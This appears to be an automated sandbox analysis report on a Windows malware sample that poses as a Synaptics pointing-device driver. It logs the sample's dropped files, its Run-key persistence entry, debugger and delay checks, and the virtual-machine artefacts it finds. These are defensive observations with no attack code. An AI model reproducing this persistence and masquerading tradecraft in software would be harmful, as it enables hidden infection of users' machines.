Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

File written: C:\Users\user\AppData\Local\Temp\isNhmnp.ini

Jump to behavior

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Automated click: I agree to the license terms and conditions
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Automated click: Install

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Window detected: Number of UI elements: 19

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: LisectAVT_2403002A_282.exe

Static file information: File size 16016392 > 1048576

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: LisectAVT_2403002A_282.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0xe9bc00

Source:	Binary string: E:\delivery\Dev\wix37\build\ship\x86\WixStdBA.pdbH source: ._cache_LisectAVT_2403002A_282.exe, 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmp, wixstdba.dll.3.dr
Source:	Binary string: E:\delivery\Dev\wix37\build\ship\x86\burn.pdb source: LisectAVT_2403002A_282.exe, ._cache_LisectAVT_2403002A_282.exe.0.dr, Synaptics.exe.0.dr
Source:	Binary string: E:\delivery\Dev\wix37\build\ship\x86\burn.pdb`E source: LisectAVT_2403002A_282.exe, ._cache_LisectAVT_2403002A_282.exe.0.dr, Synaptics.exe.0.dr
Source:	Binary string: E:\delivery\Dev\wix37\build\ship\x86\WixStdBA.pdb source: ._cache_LisectAVT_2403002A_282.exe, 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmp, wixstdba.dll.3.dr
Source:	Binary string: E:\delivery\Dev\wix37\build\ship\x86\burn.pdb` source: ._cache_LisectAVT_2403002A_282.exe, 00000002.00000000.1478303945.0000000000A5B000.00000002.00000001.01000000.00000005.sdmp, ._cache_LisectAVT_2403002A_282.exe, 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmp, ._cache_LisectAVT_2403002A_282.exe, 00000003.00000002.2721809272.0000000000A5B000.00000002.00000001.01000000.00000005.sdmp, ._cache_LisectAVT_2403002A_282.exe, 00000003.00000000.1479946531.0000000000A5B000.00000002.00000001.01000000.00000005.sdmp

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Code function: 2_2_00A4C27B LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

2_2_00A4C27B

Source: ._cache_LisectAVT_2403002A_282.exe.0.dr

Static PE information: section name: .wixburn

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 2_2_00A4A1F5 push ecx; ret		2_2_00A4A208
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 3_2_6C68F135 push ecx; ret		3_2_6C68F148

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\~$cache1

Jump to dropped file

Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	File created: C:\ProgramData\Synaptics\RCXF23B.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	File created: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\~$cache1	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\wixstdba.dll	Jump to dropped file

Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	File created: C:\ProgramData\Synaptics\RCXF23B.tmp			Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe			Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\~$cache1

Jump to dropped file

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1028\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1029\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1031\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1036\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1040\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1041\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1042\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1045\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1046\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1049\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1055\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\2052\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\3082\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\license.rtf	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\wixstdba.dll

Jump to dropped file

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 4932	Thread sleep count: 82 > 30	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 4932	Thread sleep time: -4920000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 1364	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 2_2_00A4F805 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 05h and CTI: je 00A4F8A6h		2_2_00A4F805
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 2_2_00A4F805 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 01h and CTI: je 00A4F89Fh		2_2_00A4F805

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 2_2_00A55D81 _memset,FindFirstFileW,FindClose,	2_2_00A55D81
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 2_2_00A56D15 _memset,_memset,GetFileAttributesW,GetLastError,SetFileAttributesW,GetLastError,GetTempPathW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,DeleteFileW,GetTempFileNameW,MoveFileExW,MoveFileExW,MoveFileExW,FindNextFileW,GetLastError,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,GetLastError,GetLastError,GetLastError,FindClose,	2_2_00A56D15
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 2_2_00A38E6E _memset,FindFirstFileW,lstrlenW,FindNextFileW,FindClose,	2_2_00A38E6E
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 3_2_6C68A815 _memset,FindFirstFileW,FindClose,	3_2_6C68A815

Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000			Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000			Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: Amcache.hve.16.dr	Binary or memory string: VMware
Source: Amcache.hve.16.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.16.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.16.dr	Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: Amcache.hve.16.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.16.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.16.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.16.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.16.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Synaptics.exe, 00000004.00000002.2251508096.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.16.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.16.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.16.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.16.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.16.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.16.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.16.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.16.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.16.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.16.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.16.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.16.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.16.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.16.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.16.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.16.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.16.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.16.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.16.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.16.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	API call chain: ExitProcess graph end node

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Code function: 2_2_00A4851A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

2_2_00A4851A

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

2_2_00A4C27B

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Code function: 2_2_00A52955 GetProcessHeap,RtlAllocateHeap,

2_2_00A52955

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 2_2_00A490B2 SetUnhandledExceptionFilter,	2_2_00A490B2
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 2_2_00A4851A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00A4851A
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 2_2_00A4A71C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00A4A71C
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 3_2_6C68CC71 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6C68CC71
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 3_2_6C68BA63 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6C68BA63

Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Process created: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe "C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe"			Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate			Jump to behavior

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Code function: 2_2_00A53185 _memset,_memset,_memset,_memset,_memset,_memset,InitializeSecurityDescriptor,GetLastError,CreateWellKnownSid,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,SetEntriesInAclA,SetSecurityDescriptorOwner,GetLastError,SetSecurityDescriptorGroup,GetLastError,SetSecurityDescriptorDacl,GetLastError,CoInitializeSecurity,LocalFree,

2_2_00A53185

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Code function: 2_2_00A56B8A AllocateAndInitializeSid,CheckTokenMembership,

2_2_00A56B8A

Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Queries volume information: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\logo.png VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Code function: 2_2_00A235AD ConvertStringSecurityDescriptorToSecurityDescriptorW,GetLastError,CreateNamedPipeW,CreateNamedPipeW,GetLastError,CloseHandle,LocalFree,CreateNamedPipeW,GetLastError,

2_2_00A235AD

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Code function: 2_2_00A298DB GetSystemTime,GetDateFormatW,GetDateFormatW,GetLastError,GetDateFormatW,GetLastError,

